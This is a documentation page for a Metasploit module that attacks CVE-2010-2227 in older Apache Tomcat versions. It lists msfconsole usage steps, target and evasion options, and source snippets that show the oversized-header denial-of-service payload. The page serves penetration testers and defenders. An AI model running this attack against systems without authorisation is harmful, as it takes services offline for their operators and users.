Apache Tomcat Transfer-Encoding Information Disclosure and DoS - Metasploit


This page contains detailed information about how to use the auxiliary/dos/http/apache_tomcat_transfer_encoding metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Table Of Contents
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Module Overview

Name: Apache Tomcat Transfer-Encoding Information Disclosure and DoS
Module: auxiliary/dos/http/apache_tomcat_transfer_encoding
Source code: modules/auxiliary/dos/http/apache_tomcat_transfer_encoding.rb
Disclosure date: 2010-07-09
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: -
Target network port(s): 8000
List of CVEs: CVE-2010-2227

Apache Tomcat 5.5.0 through 5.5.29, 6.0.0 through 6.0.27, and 7.0.0 beta does not properly handle an invalid Transfer-Encoding header, which allows remote attackers to cause a denial of service (application outage) or obtain sensitive information via a crafted header that interferes with "recycling of a buffer."

Module Ranking and Traits

Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage

msf > use auxiliary/dos/http/apache_tomcat_transfer_encoding
msf auxiliary(apache_tomcat_transfer_encoding) > show targets
    ... a list of targets ...
msf auxiliary(apache_tomcat_transfer_encoding) > set TARGET target-id
msf auxiliary(apache_tomcat_transfer_encoding) > show options
    ... show and set options ...
msf auxiliary(apache_tomcat_transfer_encoding) > exploit

Required Options

  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

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Msfconsole Usage

Here is how the dos/http/apache_tomcat_transfer_encoding auxiliary module looks in the msfconsole:

msf6 > use auxiliary/dos/http/apache_tomcat_transfer_encoding

msf6 auxiliary(dos/http/apache_tomcat_transfer_encoding) > show info

       Name: Apache Tomcat Transfer-Encoding Information Disclosure and DoS
     Module: auxiliary/dos/http/apache_tomcat_transfer_encoding
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2010-07-09

Provided by:
  Steve Jones
  Hoagie <[email protected]>
  Paulino Calderon <[email protected]>

Check supported:
  No

Basic options:
  Name    Current Setting  Required  Description
  ----    ---------------  --------  -----------
  RHOSTS                   yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RLIMIT  25               yes       Number of requests to send
  RPORT   8000             yes       The target port (TCP)

Description:
  Apache Tomcat 5.5.0 through 5.5.29, 6.0.0 through 6.0.27, and 7.0.0 
  beta does not properly handle an invalid Transfer-Encoding header, 
  which allows remote attackers to cause a denial of service 
  (application outage) or obtain sensitive information via a crafted 
  header that interferes with "recycling of a buffer."

References:
  https://nvd.nist.gov/vuln/detail/CVE-2010-2227
  OSVDB (66319)
  http://www.securityfocus.com/bid/41544

Module Options

This is a complete list of options available in the dos/http/apache_tomcat_transfer_encoding auxiliary module:

msf6 auxiliary(dos/http/apache_tomcat_transfer_encoding) > show options

Module options (auxiliary/dos/http/apache_tomcat_transfer_encoding):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS                   yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RLIMIT  25               yes       Number of requests to send
   RPORT   8000             yes       The target port (TCP)

Advanced Options

Here is a complete list of advanced options supported by the dos/http/apache_tomcat_transfer_encoding auxiliary module:

msf6 auxiliary(dos/http/apache_tomcat_transfer_encoding) > show advanced

Module advanced options (auxiliary/dos/http/apache_tomcat_transfer_encoding):

   Name            Current Setting  Required  Description
   ----            ---------------  --------  -----------
   CHOST                            no        The local client address
   CPORT                            no        The local client port
   ConnectTimeout  10               yes       Maximum number of seconds to establish a TCP connection
   Proxies                          no        A proxy chain of format type:host:port[,type:host:port][...]
   SSL             false            no        Negotiate SSL/TLS for outgoing connections
   SSLCipher                        no        String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH"
   SSLVerifyMode   PEER             no        SSL verification method (Accepted: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT, NONE, PEER)
   SSLVersion      Auto             yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   VERBOSE         false            no        Enable detailed status messages
   WORKSPACE                        no        Specify the workspace for this module

Auxiliary Actions

This is a list of all auxiliary actions that the dos/http/apache_tomcat_transfer_encoding module can do:

msf6 auxiliary(dos/http/apache_tomcat_transfer_encoding) > show actions

Auxiliary actions:

   Name  Description
   ----  -----------

Evasion Options

Here is the full list of possible evasion options supported by the dos/http/apache_tomcat_transfer_encoding auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(dos/http/apache_tomcat_transfer_encoding) > show evasion

Module evasion options:

   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   TCP::max_send_size  0                no        Maxiumum tcp segment size.  (0 = disable)
   TCP::send_delay     0                no        Delays inserted before every send.  (0 = disable)

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Error Messages

This module may fail with the following error messages:

Error Messages

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

DoS packet unsuccessful

Here is a relevant code snippet related to the "DoS packet unsuccessful" error message:

51:	        sploit << Rex::Text.rand_text_alpha(1) * 65537
52:	
53:	        sock.put(sploit + "\r\n\r\n")
54:	        disconnect
55:	
56:	        print_error("DoS packet unsuccessful")
57:	      rescue ::Rex::ConnectionRefused
58:	        print_error("Unable to connect to #{rhost}:#{rport}")
59:	      rescue ::Errno::ECONNRESET
60:	        print_good("DoS packet successful. #{rhost} not responding.")
61:	      rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout

Unable to connect to <RHOST>:<RPORT>

Here is a relevant code snippet related to the "Unable to connect to <RHOST>:<RPORT>" error message:

53:	        sock.put(sploit + "\r\n\r\n")
54:	        disconnect
55:	
56:	        print_error("DoS packet unsuccessful")
57:	      rescue ::Rex::ConnectionRefused
58:	        print_error("Unable to connect to #{rhost}:#{rport}")
59:	      rescue ::Errno::ECONNRESET
60:	        print_good("DoS packet successful. #{rhost} not responding.")
61:	      rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
62:	        print_error("Couldn't connect to #{rhost}:#{rport}")
63:	      rescue ::Timeout::Error, ::Errno::EPIPE

Couldn't connect to <RHOST>:<RPORT>

Here is a relevant code snippet related to the "Couldn't connect to <RHOST>:<RPORT>" error message:

57:	      rescue ::Rex::ConnectionRefused
58:	        print_error("Unable to connect to #{rhost}:#{rport}")
59:	      rescue ::Errno::ECONNRESET
60:	        print_good("DoS packet successful. #{rhost} not responding.")
61:	      rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
62:	        print_error("Couldn't connect to #{rhost}:#{rport}")
63:	      rescue ::Timeout::Error, ::Errno::EPIPE
64:	      end
65:	    end
66:	  end
67:	end

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References

See Also

Check also the following modules related to this module:

Authors

  • Steve Jones
  • Hoagie <andi[at]void.at>
  • Paulino Calderon <calderon[at]websec.mx>

Version

This page has been produced using Metasploit Framework version 6.1.36-dev. For more modules, visit the Metasploit Module Library.

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